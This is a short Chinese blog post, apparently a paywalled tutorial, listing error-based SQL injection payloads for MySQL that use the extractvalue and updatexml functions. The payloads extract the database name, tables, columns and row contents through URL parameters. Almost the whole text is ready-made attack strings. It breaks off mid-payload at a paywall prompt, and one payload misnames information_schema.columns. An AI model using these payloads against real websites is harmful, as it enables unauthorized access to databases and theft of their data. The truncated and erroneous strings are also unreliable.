本文详细介绍了两种SQL报错注入方法，分别是利用`extractvalue`和`updatexml`函数。通过这些方法，攻击者可以暴露数据库名、表名、字段名以及内容。例如，使用`extractvalue`函数可以爆库、爆表、爆字段名和爆内容，而`updatexml`函数同样可以实现这些目标。
报错注入之一 extractvalue
1. 爆库
?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
2.爆表
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),0x7e)) --+
3.爆字段名
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name)
from information_schema.column where table_name=‘表名’ and table_schema=‘库名’),0x7e)) --+
4.爆内容
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(字段名) from 表名),0x7e)) --+
报错注入之二 updatexml
1.爆库
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
2.报表
?id=1’ and updatexml(1, concat(0x7e,(select group_concat(table_name)from information_schem
最低0.47元/天 解锁文章
扫一扫
689
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
